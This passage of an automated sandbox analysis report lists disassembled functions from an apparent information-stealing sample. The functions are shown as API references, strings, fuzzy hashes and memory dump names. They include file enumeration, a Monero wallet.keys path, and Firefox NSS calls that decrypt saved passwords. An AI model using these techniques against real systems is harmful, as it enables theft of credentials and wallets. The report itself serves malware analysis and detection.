Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: fd2e54ba7d75379a286ca8d5146e36f80422ab7bc3aaf7b6d15f460eff5d077f
Instruction ID: 69ee46a46f24767edf2c345053cfd4abd0172b46ae4a3214b9c4c87a4f119b18
Opcode Fuzzy Hash: fd2e54ba7d75379a286ca8d5146e36f80422ab7bc3aaf7b6d15f460eff5d077f
Instruction Fuzzy Hash: AE5152B1540219ABCB28EB70DC89FFE777CBF58300F408599B65992190EB74DB858F92

Function 005EED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005EED3E
FindFirstFileA.KERNEL32(?,?), ref: 005EED55
StrCmpCA.SHLWAPI(?,00601538), ref: 005EEDAB
StrCmpCA.SHLWAPI(?,0060153C), ref: 005EEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 005EF2AE
FindClose.KERNEL32(000000FF), ref: 005EF2C3

Strings

%s\*.*, xrefs: 005EED32

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 218d3bf1e82a1089b37efe2489352ce890917dc9e827a6407206d81eaa63a1c8
Instruction ID: 7300d1ec06c52c914fdbea599d0cac0337f291163ef7fcf24a3dd229c2ce2a92
Opcode Fuzzy Hash: 218d3bf1e82a1089b37efe2489352ce890917dc9e827a6407206d81eaa63a1c8
Instruction Fuzzy Hash: AAE104B291111D5ADB18FB60CC56EFE7738BF94340F4041A9B60E62096EE746B8ACF53

Function 6C67D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D6A6
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D712
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D7EA

Strings

<jemalloc>, xrefs: 6C67D827
: (malloc) Error initializing arena, xrefs: 6C67D82C

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction ID: 8e5b2784bc4e44ae93db445447a53da21b8530f242c60e12b6fd494aaa9eed1f
Opcode Fuzzy Hash: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction Fuzzy Hash: 1991C471A047018FD764CF29C49076AB7E1EB89318F158D2EE55AC7B81D734E844CBAA

Function 005EDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00600C2E), ref: 005EDE5E
StrCmpCA.SHLWAPI(?,006014C8), ref: 005EDEAE
StrCmpCA.SHLWAPI(?,006014CC), ref: 005EDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 005EE3E0
FindClose.KERNEL32(000000FF), ref: 005EE3F2

Strings

\*.*, xrefs: 005EDE26

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: f45805089619a71755837323d24abdae3e6d913769b380b215bf031696e70dee
Instruction ID: e9ed3dc115a9ddf0c181778c56f30f73d3749a4c93095122ba2ca551e05dba3b
Opcode Fuzzy Hash: f45805089619a71755837323d24abdae3e6d913769b380b215bf031696e70dee
Instruction Fuzzy Hash: C6F1CFB181011E9ADB19EB60CC99EFE7778BF94340F4041A9A50E62095EF746B4ACF52

Function 005EC820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 005EC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 005EC87C
PK11_GetInternalKeySlot.NSS3 ref: 005EC88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 005EC8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 005EC8EB
lstrcat.KERNEL32(?,00600B46), ref: 005EC943
lstrcat.KERNEL32(?,00600B47), ref: 005EC957
PK11_FreeSlot.NSS3(?), ref: 005EC961
lstrcat.KERNEL32(?,00600B4E), ref: 005EC978

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: 269ebc7bc5116724b695d4bdcf416c3fee71fb9cfae86b514c5b24cf962343e2
Instruction ID: d5b9afea5f84a3ec405985a195ecaff1eb8cbd54e6c772691ba2e07e6c73ef90
Opcode Fuzzy Hash: 269ebc7bc5116724b695d4bdcf416c3fee71fb9cfae86b514c5b24cf962343e2
Instruction Fuzzy Hash: 2741827590420AEFDB14CFA0DC89BFEBBB8BF44304F1045A8E509A6280D7709A85CF91

Function 6C6A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6A2C61

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6A2E2D

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

Strings

expected a Time entry, xrefs: 6C6A2E36
(root), xrefs: 6C6A354F
ProfileBuffer parse error: %s, xrefs: 6C6A2E3B

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction ID: c45b159c50666698707fa0529ec4367b72d96f9d0c3f7e5a65ee094248517380
Opcode Fuzzy Hash: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction Fuzzy Hash: 4191CF706087408FC724DF65C48469EF7E1AFCA358F10492DE99A8B751DB30E94ACB5B

Function 6C65D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C65DC7F
, xrefs: 6C65DA88
1, xrefs: 6C65DBDD
-, xrefs: 6C65D7DD
9, xrefs: 6C65DE7F
@, xrefs: 6C65DAF6
0, xrefs: 6C65D852
8, xrefs: 6C65DC08

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction ID: 0aa39ac45e123d66a3a14887cae5e2a87215a2a65c9adc49dc6c57d26949dd6f
Opcode Fuzzy Hash: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction Fuzzy Hash: A262CF7060C3458FD701CF19C69079ABBF2AF86358FB84A0DE4D54BAD1C33599A5CB8A

Function 009B6436 Relevance: 10.4, Strings: 7, Instructions: 1663COMMON

Download Yara Rule

Strings

ZF|_, xrefs: 009B6A01
"{o, xrefs: 009B711F
g8'S, xrefs: 009B6D17
>?., xrefs: 009B6870
"b~{, xrefs: 009B734A
:t, xrefs: 009B6FB5
mTw>, xrefs: 009B77A5

Memory Dump Source

Source File: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "b~{$"{o$>?.$ZF|_$g8'S$mTw>$:t
API String ID: 0-3040638021
Opcode ID: 752003659569b909f0e8854c9880b4eac13bed18fced10d6ccbc9416388d5549
Instruction ID: 7fd5a3d459bcc399ebaba0e5983733087e90b6f6b5792a169eccdce4192e7df6
Opcode Fuzzy Hash: 752003659569b909f0e8854c9880b4eac13bed18fced10d6ccbc9416388d5549
Instruction Fuzzy Hash: 2FB237F360C2049FE3046E2DEC4567AFBE9EF94720F1A493DEAC5C3744EA7598058692

Function 6C6C545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C8A4B

Strings

~qel, xrefs: 6C6C5703, 6C6C5740, 6C6C9459, 6C6C9269, 6C6C56C7, 6C6C921F, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 01af520261224d43aa745bc0de72f0653f0550fdd9b9ffcc5ee0159283b6d2d5
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 0BB1F772F0021A8FDB24CF68CC907E9B7B2EF85318F1802AAC549DB791D7349985CB95

Function 6C6C542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C6C925C

Strings

~qel, xrefs: 6C6C5703, 6C6C5740, 6C6C9459, 6C6C9269, 6C6C56C7, 6C6C921F, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 847e3582a78b901618d98ce7101b713317aa8019d6372db2b3185b55660006ee
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ABB1E572F0420A8BCB14CE58CC816EDB7B2EF85314F14426AC949DB795D734A989CB95

Function 009B2DDF Relevance: 9.1, Strings: 6, Instructions: 1608COMMON

Download Yara Rule

Strings

KtN, xrefs: 009B2FB9
IlvO, xrefs: 009B3E1E
Crc, xrefs: 009B3B33
J)=, xrefs: 009B2F01
"x\[, xrefs: 009B40BE
"x\[, xrefs: 009B40C9

Memory Dump Source

Source File: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
